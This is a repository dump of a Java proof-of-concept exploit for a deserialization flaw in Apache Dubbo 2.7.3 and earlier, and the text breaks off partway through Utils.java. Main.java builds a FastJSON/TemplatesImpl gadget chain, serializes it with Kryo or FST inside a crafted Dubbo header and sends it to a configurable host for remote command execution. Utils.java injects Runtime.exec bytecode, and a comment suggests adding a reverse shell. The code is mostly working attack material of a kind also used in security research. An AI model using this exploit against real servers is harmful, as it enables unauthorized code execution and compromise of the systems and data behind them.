├── DubboProtocolExploit
├── pom.xml
└── src
│ └── main
│ └── java
│ ├── DubboProtocolExploit
│ ├── Main.java
│ └── Utils.java
│ └── org
│ └── apache
│ └── dubbo
│ └── demo
│ └── DemoService.java
└── README.md
/DubboProtocolExploit/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | groupId
8 | DubboProtocolExploit
9 | 1.0-SNAPSHOT
10 |
11 |
12 |
13 | org.apache.maven.plugins
14 | maven-compiler-plugin
15 | 3.8.1
16 |
17 | 8
18 | 8
19 |
20 |
21 |
22 |
23 |
24 |
25 | org.apache.dubbo
26 | dubbo
27 | 2.7.3
28 |
29 |
30 | org.apache.dubbo
31 | dubbo-common
32 | 2.7.3
33 |
34 |
35 | com.alibaba
36 | dubbo
37 | 2.6.9
38 |
39 |
40 | com.alibaba
41 | dubbo-remoting-netty4
42 | 2.6.9
43 |
44 |
45 | io.netty
46 | netty-all
47 | 4.1.60.Final
48 |
49 |
50 | org.springframework
51 | spring-web
52 | 5.1.9.RELEASE
53 |
54 |
55 | com.nqzero
56 | permit-reflect
57 | 0.4
58 |
59 |
60 |
61 |
--------------------------------------------------------------------------------
/DubboProtocolExploit/src/main/java/DubboProtocolExploit/Main.java:
--------------------------------------------------------------------------------
1 | package DubboProtocolExploit;
2 |
3 |
4 | import com.alibaba.fastjson.JSONObject;
5 | import org.apache.dubbo.common.io.Bytes;
6 | import org.apache.dubbo.common.serialize.Serialization;
7 | import org.apache.dubbo.common.serialize.fst.FstObjectOutput;
8 | import org.apache.dubbo.common.serialize.fst.FstSerialization;
9 | import org.apache.dubbo.common.serialize.kryo.KryoObjectOutput;
10 | import org.apache.dubbo.common.serialize.kryo.KryoSerialization;
11 | import org.apache.dubbo.common.serialize.ObjectOutput;
12 | import org.apache.dubbo.rpc.RpcInvocation;
13 | import org.apache.dubbo.serialize.hessian.Hessian2ObjectOutput;
14 | import org.apache.dubbo.serialize.hessian.Hessian2Serialization;
15 | /*import com.alibaba.dubbo.common.io.Bytes;
16 | import com.alibaba.dubbo.common.serialize.Serialization;
17 | import com.alibaba.dubbo.common.serialize.fst.FstObjectOutput;
18 | import com.alibaba.dubbo.common.serialize.fst.FstSerialization;
19 | import com.alibaba.dubbo.common.serialize.kryo.KryoObjectOutput;
20 | import com.alibaba.dubbo.common.serialize.kryo.KryoSerialization;
21 | import com.alibaba.dubbo.common.serialize.ObjectOutput;*/
22 |
23 | import java.io.ByteArrayOutputStream;
24 | import java.io.IOException;
25 | import java.io.OutputStream;
26 | import java.io.Serializable;
27 | import java.lang.reflect.Method;
28 | import java.net.Socket;
29 |
30 | /* This Dubbo protocol exploit affects versions <= 2.7.3,
31 | and will print "whoops!" on the server's console via RCE.
32 |
33 | This issue is caused by deserialization of untrusted data,
34 | triggered via a communication protocol that allows dynamically
35 | switching to a vulnerable deserializer, and exploited with a
36 | payload gadget chain based on FastJson
37 |
38 | On Windows servers - it will try to execute calc.exe
39 | On Linux servers - it will touch /tmp/dubboexploited
40 | */
41 |
42 | public class Main {
43 | // Customize URL for remote targets
44 | public static String DUBBO_HOST_NAME = "localhost";
45 | public static int DUBBO_HOST_PORT = 20880;
46 |
47 | // OS-specific payloads - comment to switch OS variants
48 | // exploit will print "whoops!" on server console either way
49 | //public static String DUBBO_RCE_COMMAND = "touch /tmp/dubboexploited"; // Linux
50 | public static String DUBBO_RCE_COMMAND = "calc.exe"; // Windows
51 |
52 | //Exploit variant - comment to switch exploit variants
53 | public static String EXPLOIT_VARIANT = "Kryo";
54 | //public static String EXPLOIT_VARIANT = "FST";
55 |
56 | // Magic header from ExchangeCodec
57 | protected static final short MAGIC = (short) 0xdabb;
58 | protected static final byte MAGIC_HIGH = Bytes.short2bytes(MAGIC)[0];
59 | protected static final byte MAGIC_LOW = Bytes.short2bytes(MAGIC)[1];
60 |
61 | // Message flags from ExchangeCodec
62 | protected static final byte FLAG_REQUEST = (byte) 0x80;
63 | protected static final byte FLAG_TWOWAY = (byte) 0x40;
64 |
65 | public static void main(String[] args) throws Exception {
66 | Object templates = Utils.createTemplatesImpl(DUBBO_RCE_COMMAND); // TemplatesImpl gadget chain
67 |
68 | // triggers Runtime.exec() on TemplatesImpl.newTransformer()
69 | JSONObject jo = new JSONObject();
70 | jo.put("oops",(Serializable)templates); // Vulnerable FastJSON wrapper
71 | Object gadgetChain = Utils.makeXStringToStringTrigger(jo); // toString() trigger
72 |
73 | // encode request data.
74 | ByteArrayOutputStream bos = new ByteArrayOutputStream();
75 |
76 | // Kryo exploit variant
77 | Serialization s;
78 | ObjectOutput objectOutput;
79 | switch(EXPLOIT_VARIANT) {
80 | case "FST":
81 | s = new FstSerialization();
82 | objectOutput = new FstObjectOutput(bos);
83 | break;
84 | case "Kryo":
85 | default:
86 | s = new KryoSerialization();
87 | objectOutput = new KryoObjectOutput(bos);
88 | break;
89 | }
90 |
91 | // 0xc2 is Hessian2 + two-way + Request serialization
92 | // Kryo | two-way | Request is 0xc8 on third byte
93 | // FST | two-way | Request is 0xc9 on third byte
94 |
95 | byte requestFlags = (byte) (FLAG_REQUEST | s.getContentTypeId() | FLAG_TWOWAY);
96 | byte[] header = new byte[]{MAGIC_HIGH, MAGIC_LOW, requestFlags,
97 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; // Padding and 0 length LSBs
98 | bos.write(header);
99 | // Strings need only satisfy "readUTF" calls until "readObject" is reached, so garbage metadata works too
100 | /*
101 | objectOutput.writeUTF("notAversion");
102 | objectOutput.writeUTF("notAservice");
103 | objectOutput.writeUTF("notAserviceVersion");
104 | objectOutput.writeUTF("notAmethod");
105 | objectOutput.writeUTF("notAtype"); //*/
106 |
107 | // This section contains valid data writes
108 | RpcInvocation ri = new RpcInvocation();
109 | ri.setParameterTypes(new Class[] {Object.class, Method.class, Object.class});
110 | //ri.setParameterTypesDesc("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
111 | ri.setArguments(new Object[] { "sayHello", new String[] {"org.apache.dubbo.demo.DemoService"}, new Object[] {"YOU"}});
112 | // Strings need only satisfy "readUTF" calls until "readObject" is reached
113 |
114 | // /*
115 | objectOutput.writeUTF("2.0.2");
116 | objectOutput.writeUTF("org.apache.dubbo.demo.DemoService");
117 | objectOutput.writeUTF("0.0.0");
118 | objectOutput.writeUTF("sayHello");
119 | objectOutput.writeUTF("Ljava/lang/String;"); //*/
120 |
121 | objectOutput.writeObject(gadgetChain);
122 | objectOutput.writeObject(ri.getAttachments());
123 |
124 | objectOutput.flushBuffer();
125 | byte[] payload = bos.toByteArray();
126 | int len = payload.length - header.length;
127 | Bytes.int2bytes(len, payload, 12);
128 |
129 | // Dubbo Message Stream Hex Dump
130 | for (int i = 0; i < payload.length; i++) {
131 | System.out.print(String.format("%02X", payload[i]) + " ");
132 | if ((i + 1) % 8 == 0)
133 | System.out.print(" ");
134 | if ((i + 1) % 16 == 0 )
135 | System.out.println();
136 |
137 | }
138 | // Payload string
139 | System.out.println();
140 | System.out.println(new String(payload));
141 |
142 | Socket pingSocket = null;
143 | OutputStream out = null;
144 | // Send request over TCP socket
145 | try {
146 | pingSocket = new Socket(DUBBO_HOST_NAME, DUBBO_HOST_PORT);
147 | out = pingSocket.getOutputStream();
148 | } catch (IOException e) {
149 | return;
150 | }
151 | out.write(payload);
152 | out.flush();
153 | out.close();
154 | pingSocket.close();
155 | System.out.println("Sent!");
156 | }
157 | }
158 |
--------------------------------------------------------------------------------
/DubboProtocolExploit/src/main/java/DubboProtocolExploit/Utils.java:
--------------------------------------------------------------------------------
1 | package DubboProtocolExploit;
2 |
3 | import com.nqzero.permit.Permit;
4 | import com.sun.org.apache.xalan.internal.xsltc.DOM;
5 | import com.sun.org.apache.xalan.internal.xsltc.TransletException;
6 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
7 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
8 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
9 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
10 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
11 | import com.sun.org.apache.xpath.internal.objects.XString;
12 | import javassist.ClassClassPath;
13 | import javassist.ClassPool;
14 | import javassist.CtClass;
15 | import org.springframework.aop.target.HotSwappableTargetSource;
16 | import sun.reflect.ReflectionFactory;
17 |
18 | import java.io.ByteArrayOutputStream;
19 | import java.io.IOException;
20 | import java.io.InputStream;
21 | import java.io.Serializable;
22 | import java.lang.reflect.*;
23 | import java.util.HashMap;
24 | import java.util.Map;
25 |
26 | import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
27 |
28 | /*
29 | * Utility class - based on code found in ysoserial, includes method calls used in
30 | * ysoserial.payloads.util specifically the Reflections, Gadgets, and ClassFiles classes. These were
31 | * consolidated into a single util class for the sake of brevity; they are otherwise unchanged.
32 | *
33 | * Additionally, uses code based on marshalsec.gadgets.ToStringUtil.makeSpringAOPToStringTrigger
34 | * to create a toString trigger
35 | *
36 | * ysoserial by Chris Frohoff - https://github.com/frohoff/ysoserial
37 | * marshalsec by Moritz Bechler - https://github.com/mbechler/marshalsec
38 | */
39 | public class Utils {
40 | static {
41 | // special case for using TemplatesImpl gadgets with a SecurityManager enabled
42 | System.setProperty(DESERIALIZE_TRANSLET, "true");
43 |
44 | // for RMI remote loading
45 | System.setProperty("java.rmi.server.useCodebaseOnly", "false");
46 | }
47 |
48 | public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
49 |
50 | public static class StubTransletPayload extends AbstractTranslet implements Serializable {
51 |
52 | private static final long serialVersionUID = -5971610431559700674L;
53 |
54 |
55 | public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
56 |
57 |
58 | @Override
59 | public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
60 | }
61 |
62 | // required to make TemplatesImpl happy
63 | public static class Foo implements Serializable {
64 |
65 | private static final long serialVersionUID = 8207363842866235160L;
66 | }
67 |
68 | public static InvocationHandler createMemoizedInvocationHandler (final Map map ) throws Exception {
69 | return (InvocationHandler) Utils.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
70 | }
71 |
72 | public static Object createTemplatesImpl ( final String command ) throws Exception {
73 | if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
74 | return createTemplatesImpl(
75 | command,
76 | Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
77 | Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
78 | Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
79 | }
80 |
81 | return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
82 | }
83 |
84 |
85 | public static T createTemplatesImpl ( final String command, Class tplClass, Class> abstTranslet, Class> transFactory )
86 | throws Exception {
87 | final T templates = tplClass.newInstance();
88 |
89 | // use template gadget class
90 | ClassPool pool = ClassPool.getDefault();
91 | pool.insertClassPath(new ClassClassPath(Utils.StubTransletPayload.class));
92 | pool.insertClassPath(new ClassClassPath(abstTranslet));
93 | final CtClass clazz = pool.get(Utils.StubTransletPayload.class.getName());
94 | // run command in static initializer
95 | // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
96 | String cmd = "System.out.println(\"whoops!\"); java.lang.Runtime.getRuntime().exec(\"" +
97 | command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
98 | "\");";
99 | clazz.makeClassInitializer().insertAfter(cmd);
100 | // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
101 | clazz.setName("ysoserial.Pwner" + System.nanoTime());
102 | CtClass superC = pool.get(abstTranslet.getName());
103 | clazz.setSuperclass(superC);
104 |
105 | final byte[] classBytes = clazz.toBytecode();
106 |
107 | // inject class bytes into instance
108 | Utils.setFieldValue(templates, "_bytecodes", new byte[][] {
109 | classBytes, Utils.classAsBytes(Utils.Foo.class)
110 | });
111 |
112 | // required to make TemplatesImpl happy
113 | Utils.setFieldValue(templates, "_name", "Pwnr");
114 | Utils.setFieldValue(templates, "_tfactory", transFactory.newInstance());
115 | return templates;
116 | }
117 |
118 | public static void setAccessible(AccessibleObject member) {
119 | // quiet runtime warnings from JDK9+
120 | Permit.setAccessible(member);
121 | }
122 |
123 | public static Field getField(final Class> clazz, final String fieldName) {
124 | Field field = null;
125 | try {
126 | field = clazz.getDeclaredField(fieldName);
127 | setAccessible(field);
128 | }
129 | catch (NoSuchFieldException ex) {
130 | if (clazz.getSuperclass() != null)
131 | field = getField(clazz.getSuperclass(), fieldName);
132 | }
133 | return field;
134 | }
135 |
136 | public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
137 | final Field field = getField(obj.getClass(), fieldName);
138 | field.set(obj, value);
139 | }
140 |
141 | public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
142 | final Field field = getField(obj.getClass(), fieldName);
143 | return field.get(obj);
144 | }
145 |
146 | public static Constructor> getFirstCtor(final String name) throws Exception {
147 | final Constructor> ctor = Class.forName(name).getDeclaredConstructors()[0];
148 | setAccessible(ctor);
149 | return ctor;
150 | }
151 |
152 | @SuppressWarnings ( {"unchecked"} )
153 | public static T createWithConstructor ( Class classToInstantiate, Class super T> constructorClass, Class>[] consArgTypes, Object[] consArgs )
154 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
155 | Constructor super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
156 | setAccessible(objCons);
157 | Constructor> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
158 | setAccessible(sc);
159 | return (T)sc.newInstance(consArgs);
160 | }
161 |
162 | public static String classAsFile(final Class> clazz) {
163 | return classAsFile(clazz, true);
164 | }
165 |
166 | public static String classAsFile(final Class> clazz, boolean suffix) {
167 | String str;
168 | if (clazz.getEnclosingClass() == null) {
169 | str = clazz.getName().replace(".", "/");
170 | } else {
171 | str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
172 | }
173 | if (suffix) {
174 | str += ".class";
175 | }
176 | return str;
177 | }
178 |
179 | public static byte[] classAsBytes(final Class> clazz) {
180 | try {
181 | final byte[] buffer = new byte[1024];
182 | final String file = classAsFile(clazz);
183 | final InputStream in = Utils.class.getClassLoader().getResourceAsStream(file);
184 | if (in == null) {
185 | throw new IOException("couldn't find '" + file + "'");
186 | }
187 | final ByteArrayOutputStream out = new ByteArrayOutputStream();
188 | int len;
189 | while ((len = in.read(buffer)) != -1) {
190 | out.write(buffer, 0, len);
191 | }
192 | return out.toByteArray();
193 | } catch (IOException e) {
194 | throw new RuntimeException(e);
195 | }
196 | }
197 | public static HashMap